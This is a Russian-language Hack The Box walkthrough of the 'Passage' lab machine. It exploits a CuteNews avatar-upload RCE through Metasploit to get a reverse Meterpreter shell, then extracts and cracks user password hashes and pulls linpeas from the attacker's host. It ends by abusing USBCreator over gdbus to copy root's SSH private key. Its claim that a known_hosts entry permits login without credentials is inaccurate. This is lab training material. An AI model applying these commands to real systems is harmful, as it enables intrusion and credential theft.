Хакер - HTB Passage. Эксплуатируем RCE в CuteNews и поднимаем привилегии через gdbus

Хакер - HTB Passage. Эксплуатируем RCE в CuteNews и поднимаем привилегии через gdbus

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Закрепление
  • Продвижение
  • Credential Access
  • Ключевые файлы
  • Локальная эскалация привилегий

В этой статье мы прой­дем машину Passage с популяр­ного сер­виса Hack The Box и про­экс­плу­ати­руем уяз­вимость в CMS CuteNews. Заод­но научим­ся добав­лять экс­пло­иты в базу Metasploit Framework, пот­рениру­емся в поис­ке важ­ных для раз­вития ата­ки фай­лов и узна­ем, что такое D-Bus и как повысить при­виле­гии с помощью USBCreator.

Под­клю­чать­ся к лабора­тор­ной машине будем через VPN. Рекомен­дую не под­клю­чать­ся с рабоче­го компь­юте­ра или с хос­та, где есть важ­ные для тебя дан­ные, так как ты попадешь в одну час­тную сеть с людь­ми, которые что‑то да уме­ют в области ИБ. 

WARNING

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни редак­ция, ни автор не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный в резуль­тате исполь­зования зна­ний и методов, опи­сан­ных в статье.

РАЗВЕДКА

Сканирование портов

Ма­шина име­ет IP-адрес 10.10.10.206, который я добав­ляю в /etc/hosts, что­бы мож­но было обра­щать­ся к хос­ту по име­ни.

10.10.10.206 passage.htb

Лю­бая ата­ка начина­ется со ска­ниро­вания откры­тых на хос­те пор­тов. Это необ­ходимо для того, что­бы ата­кующий узнал, какие служ­бы при­нима­ют соеди­нение. Исхо­дя из получен­ной информа­ции, мож­но выбирать путь для получе­ния точ­ки вхо­да и опо­ры. Я это делаю с помощью сле­дующе­го скрип­та, который исполь­зует ути­литу Nmap и при­нима­ет один аргу­мент — адрес ска­ниру­емо­го хос­та.

Сна­чала скрипт исполь­зует Nmap, что­бы сде­лать обыч­ное быс­трое саниро­вание. Затем он пар­сит все пор­ты из вывода и пов­торя­ет ска­ниро­вание толь­ко обна­ружен­ных пор­тов с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Ре­зуль­тат работы скрип­та

Мы име­ем две служ­бы — SSH (порт 22) и веб‑сер­вер Apache (порт 80). На SSH нам ловить нечего, так как единс­твен­ное, что там мож­но делать, — это брут­форсить учет­ные дан­ные. Брут­форс — пос­леднее дело. Поэто­му нам оста­ется искать точ­ку вхо­да на сай­те. Перей­дя на сайт, лег­ко опре­деля­ем сис­тему управле­ния кон­тентом — CMS CuteNews.

Powered by CuteNews

Точка входа

Пер­вым делом сто­ит про­верить, есть ли для обна­ружен­ной CMS уже готовые экс­пло­иты. Луч­ший спо­соб это уста­новить — поис­кать на сай­тах вро­де HackerOneexploit-db, а так­же GitHub. Но если ты исполь­зуешь спе­циаль­ный дис­три­бутив вро­де Kali Linux, то база экс­пло­итов Exploit-DB уже у тебя на дис­ке. Для удоб­ной работы с дан­ной базой мож­но исполь­зовать ути­литу searchsploit, так­же пре­дус­танов­ленную в дис­три­бути­ве. Имен­но с помощью ее мы и находим ряд экс­пло­итов.

searchsploit cutenews

Экс­пло­иты, най­ден­ные searchsploit

Так как мы не зна­ем вер­сию CMS на ата­куемом хос­те, то сле­дует выб­рать экс­пло­ит для более поз­дней (2.1.2). Луч­ше все­го для нас, если отра­бота­ет тот, который даст выпол­нение кода — RCE. Помет­ка Metasploit озна­чает, что этот экс­пло­ит уже выпущен для Metasploit Framework.

Суть экс­плу­ати­руемой уяз­вимос­ти в том, что при изме­нении ава­тар­ки про­филя мы можем заг­рузить не толь­ко изоб­ражение, но и файл с рас­ширени­ем .php. К фай­лу затем мож­но обра­тить­ся, и это при­ведет к выпол­нению на сер­вере кода, содер­жащего­ся в метадан­ных фай­ла‑изоб­ражения.

ЗАКРЕПЛЕНИЕ

Так как в пос­тавку Metasploit Framework этот экс­пло­ит не вхо­дит, его нуж­но добавить в базу. Для начала получим пол­ный путь к фай­лу экс­пло­ита (опция -p поз­волит сох­ранить пол­ный путь к фай­лу сра­зу в буфер обме­на), а затем копиру­ем в дирек­торию с экс­пло­ита­ми.

До­бав­ление фай­ла экс­пло­ита в Metasploit Framework

Ав­торы допус­тили ошиб­ку: не хва­тает запятой. Откро­ем файл экс­пло­ита и добавим ее, как ука­зано на скрин­шоте ниже.

Ис­прав­ление ошиб­ки в исходном коде экс­пло­ита

В register_options содер­жатся парамет­ры, с которы­ми запус­кает­ся экс­пло­ит. К при­меру, в дан­ном слу­чае нам нуж­но знать путь к базовой дирек­тории CMS, а так­же учет­ные дан­ные поль­зовате­ля.

Па­рамет­ры экс­пло­ита

В качес­тве зна­чения парамет­ра TARGETURI по умол­чанию исполь­зует­ся /CuteNews. Перей­дя к этой стра­нице на сай­те, получим фор­му авто­риза­ции. Нам нуж­но зарегис­три­ровать нового поль­зовате­ля, имен­но его учет­ные дан­ные мы и будем исполь­зовать при запус­ке экс­пло­ита.

Фор­ма авто­риза­ции CuteNews

Те­перь, ког­да мы испра­вили ошиб­ки в экс­пло­ите и получи­ли все необ­ходимые дан­ные для его работы, коман­дой reload_all обно­вим базу Metasploit Framework, что­бы заг­рузить толь­ко что добав­ленный экс­пло­ит.

Об­новле­ние базы Metasploit Framework

Пос­ле успешно­го обновле­ния базы заг­ружа­ем наш экс­пло­ит, зада­ем зна­чения парамет­ров и выпол­няем.

use exploit/46698

set username [имя зарегистрированного пользователя]

set password [пароль зарегистрированного пользователя]

set LHOST [наш IP-адрес]

set LPORT [локальный порт для прослушивания]

set RHOSTS [адрес цели]

run

Под­клю­чение к хос­ту с помощью экс­пло­ита в сре­де Metasploit Framework

В отче­те наб­люда­ем успешные под­клю­чение, авто­риза­цию, заг­рузку фай­ла на сер­вер и запуск наг­рузки, что в ито­ге при­водит нас к шел­лу Meterpreter. Коман­дой getuid про­веря­ем, в кон­тек­сте какого поль­зовате­ля мы работа­ем. В дан­ном слу­чае у нас кон­текст учет­ной записи служ­бы веб‑сер­вера: поль­зователь www-data.

ПРОДВИЖЕНИЕ

Credential Access

Так как на хос­те раз­вернут веб‑сер­вер, а на нем работа­ет целая CMS, то пер­вое наше дей­ствие — поп­робовать получить какие‑нибудь поль­зователь­ские учет­ные дан­ные. Высока веро­ятность, что эти учет­ки подой­дут и для локаль­ных поль­зовате­лей тоже. В слу­чае с CuteNews нас инте­ресу­ет дирек­тория /cdata/users.

Со­дер­жимое дирек­тории /cdata

Здесь дол­жны находить­ся фай­лы users.txt и lines. Как раз вто­рой пред­став­ляет для нас инте­рес.

Со­дер­жимое дирек­тории /cdata/users
Со­дер­жимое фай­ла lines

Текст закоди­рован с помощью Base64. Нем­ного пре­обра­зуем файл: исклю­чим из него все стро­ки, которые содер­жат подс­тро­ку php (это поз­волит оста­вить толь­ко закоди­рован­ные стро­ки), и лег­ко декоди­руем оставши­еся пря­мо в коман­дной стро­ке.

cat lines | grep -v php | base64 -d

Де­коди­рова­ние строк из фай­ла lines

В пре­обра­зован­ном тек­сте есть упо­мина­ние элек­трон­ных почт и кое‑где даже хешей паролей (обоз­начены s:64). Для их получе­ния в удоб­ном виде сно­ва исполь­зуем кон­вей­ер.

  • Сна­чала получа­ем толь­ко стро­ки, содер­жащие s:64.
  • За­тем раз­бива­ем резуль­тат на новые стро­ки по раз­делите­лю ;.
  • И вновь получа­ем толь­ко стро­ки, которые вклю­чают либо подс­тро­ку s:64 (хеш), либо подс­тро­ку @ (адрес элек­трон­ной поч­ты).

cat lines.txt | grep 's:64' | tr ';' '\n' | grep 's:64\|@'

По­луче­ние хешей и соот­ветс­тву­ющих им адре­сов элек­трон­ной поч­ты

Ес­ли ты не зна­ешь, какой алго­ритм хеширо­вания может вер­нуть такой хеш, прос­то исполь­зуй ути­литу hashid. Эта прог­рамма покажет раз­ные алго­рит­мы хеширо­вания, которые могут его вер­нуть. Самый популяр­ный из пред­ложен­ных в нашем слу­чае — SHA-256.

Ал­горит­мы хеширо­вания, пре­дос­тавлен­ные прог­раммой hashid

Пе­ред тем как запус­кать свои виде­окар­ты и скар­мли­вать им этот хеш для перебо­ра, сто­ит поис­кать его в уже готовых онлай­новых базах. Сер­висов, которые пре­дос­тавля­ют такую услу­гу, очень мно­го. И пер­вая же ссыл­ка из Гуг­ла помога­ет нам с этим разоб­рать­ся.

По­иск хеша в онлайн‑базах

Мы получа­ем один пароль, но и это­го ока­зыва­ется дос­таточ­но, так как он под­ходит для локаль­ного поль­зовате­ля на уда­лен­ном хос­те. Что­бы поменять пароль, мало получить прос­той шелл, нам нуж­на обо­лоч­ка TTY. В этом поможет уста­нов­ленный Python.

python3 -c 'import pty;pty.spawn("/bin/bash")'

su paul

По­луче­ние инте­рак­тивной обо­лоч­ки и сме­на поль­зовате­ля на хос­те

Так мы зах­ватыва­ем пер­вого поль­зовате­ля, а с ним и пер­вый флаг — сви­детель­ство того, что мы получи­ли кон­троль над машиной от име­ни легитим­ного поль­зовате­ля.

Ключевые файлы

У нович­ков иног­да воз­ника­ет воп­рос, что же делать пос­ле того, как получил шелл в сис­теме, как най­ти путь, который при­ведет к повыше­нию при­виле­гий. Тебе в помощь скрип­ты PEASS — они есть и для Windows, и для Linux. Заг­рузим на локаль­ный хост скрипт для Linux.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

Те­перь нуж­но заг­рузить его на уда­лен­ный хост. В дирек­тории со скрип­том на локаль­ной машине запус­тим с помощью Python прос­той веб‑сер­вер. Пос­ле выпол­нения этой коман­ды веб‑сер­вер будет прос­лушивать порт 8000.

python3 -m http.server

А теперь с помощью того же Wget на целевой машине заг­рузим скрипт с локаль­ного хос­та на уда­лен­ный. Пос­ле заг­рузки необ­ходимо дать пра­во на выпол­нение и выпол­нить скрипт.

wget http://[ip_локального_хоста]:8000/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

В выводе получим очень мно­го информа­ции, поэто­му сто­ит отме­тить важ­ную:

  • в спис­ке про­цес­сов зна­чит­ся dbus, запущен­ный от име­ни поль­зовате­ля nadav (к это­му вер­немся поз­же);
  • поль­зователь nadav име­ет обо­лоч­ку /bin/bash, что поз­волит выпол­нить вход от его име­ни, если у нас получит­ся ском­про­мети­ровать его;
  • сре­ди фай­лов, отно­сящих­ся к SSH, при­сутс­тву­ет файл known_hosts.
Спи­сок про­цес­сов
Спи­сок поль­зовате­лей с кон­солью
Най­ден­ные SSL/SSH-фай­лы

Де­ло в том, что каж­дый раз, ког­да мы под­клю­чаем­ся по SSH к сер­веру, кли­ент SSH про­веря­ет, сов­пада­ет ли пуб­личный ключ для это­го сер­вера с тем, который был прош­лый раз. В OpenSSH спи­сок извес­тных клю­чей сер­веров хра­нит­ся в фай­ле known_hosts. То есть при наличии записи в known_hosts мы можем под­клю­чить­ся к сер­веру без вся­ких учет­ных дан­ных. Давай поп­робу­ем под­клю­чить­ся по SSH к локаль­ному хос­ту как вто­рой поль­зователь.

Со­дер­жимое фай­ла known_hosts
Ав­ториза­ция от име­ни поль­зовате­ля nadav

Та­ким обра­зом мы кон­тро­лиру­ем и вто­рого юзе­ра.

ЛОКАЛЬНАЯ ЭСКАЛАЦИЯ ПРИВИЛЕГИЙ

Ко­ман­да id под­ска­зала нам, что поль­зователь находит­ся в при­виле­гиро­ван­ных груп­пах. Так­же вспо­мина­ем, что D-Bus — это сис­тема меж­про­цес­сно­го вза­имо­дей­ствия, которая поз­воля­ет при­ложе­ниям в опе­раци­онной сис­теме общать­ся друг с дру­гом. Как пра­вило, такое обще­ние стро­ится на осно­ве двух час­тей: демона и низ­коуров­невого API. D-Bus пре­дос­тавля­ет сис­теме нес­коль­ко шин.

  1. Сис­темная шина. Соз­дает­ся при стар­те демона D-Bus. С ее помощью про­исхо­дит обще­ние демонов, а так­же вза­имо­дей­ствие поль­зователь­ских при­ложе­ний с эти­ми демона­ми.
  2. Сес­сион­ная шина. Соз­дает­ся для поль­зовате­ля, который авто­ризо­вал­ся в сис­теме. Для каж­дой такой шины запус­кает­ся отдель­ная копия демона, через нее будут общать­ся при­ложе­ния, с которы­ми работа­ет поль­зователь.

При запус­ке прог­рамма регис­три­рует один или нес­коль­ко сер­висов, которы­ми она будет вла­деть до тех пор, пока самос­тоятель­но не осво­бодит. До это­го момен­та никакая иная прог­рамма, пре­тен­дующая на тот же сер­вис, занять его не смо­жет. Сер­висы D-Bus дела­ют дос­тупной еще одну фун­кцию — запуск необ­ходимых прог­рамм, если для них пос­тупят сооб­щения.

В домаш­ней дирек­тории поль­зовате­ля при­сутс­тву­ет файл .viminfo, в котором упо­мина­ется USBCreator. Его же мы находим и в спис­ке про­цес­сов. Это и есть путь к высоким при­виле­гиям.

Со­дер­жимое фай­ла .viminfo
На­личие usb-creator в спис­ке запущен­ных про­цес­сов

Путь повыше­ния при­виле­гий опи­сан в статье Надава Мар­куса. У нас есть все необ­ходимые сос­тавля­ющие для пов­торения его опы­та: служ­ба USBCreator и членс­тво в груп­пе sudo. Уяз­вимость кро­ется в методе Image интерфей­са /com/ubuntu/USBCreator.

Ме­тоды и сиг­налы в интерфей­се com.ubuntu.USBCreator

Сна­чала в этом методе про­веря­ется, раз­решен ли зап­рос дан­ному поль­зовате­лю. Так как целевой поль­зователь вхо­дит в груп­пу sudo, эта про­вер­ка будет прой­дена успешно. Для копиро­вания дан­ных в Image исполь­зует­ся реали­зация ути­литы dd на Python.

Ис­ходный код метода Image

Этот код будет выпол­нен в при­виле­гиро­ван­ном режиме, что поз­воля­ет нам ско­пиро­вать абсо­лют­но любой файл. Луч­ше все­го получить при­ват­ный ключ SSH поль­зовате­ля root. Для работы с D-Bus будем исполь­зовать ути­литу gdbus со сле­дующи­ми аргу­мен­тами:

  • call — коман­да для вызова метода уда­лен­ного объ­екта;
  • --system — под­клю­чение к сис­темной шине;
  • --dest [] — имя объ­екта, для которо­го вызыва­ется метод;
  • --object-path [] — путь к объ­екту, для которо­го вызыва­ется метод;
  • --method [] — вызыва­емый метод;
  • пе­речис­ляют­ся аргу­мен­ты вызыва­емо­го метода (в дан­ном слу­чае это sourcetarget и allow_system_internal).

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/ssh.txt true

Вы­зов метода Image для копиро­вания при­ват­ного клю­ча SSH

Те­перь необ­ходимо сох­ранить ключ в файл на локаль­ном хос­те, наз­начить ему пра­ва и выпол­нить под­клю­чение к уда­лен­ному хос­ту.

chmod 0600 root.key

ssh -i root.key root@passage.htb

root-флаг

Итак, мы зах­ватили машину и име­ем над ней пол­ный кон­троль.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page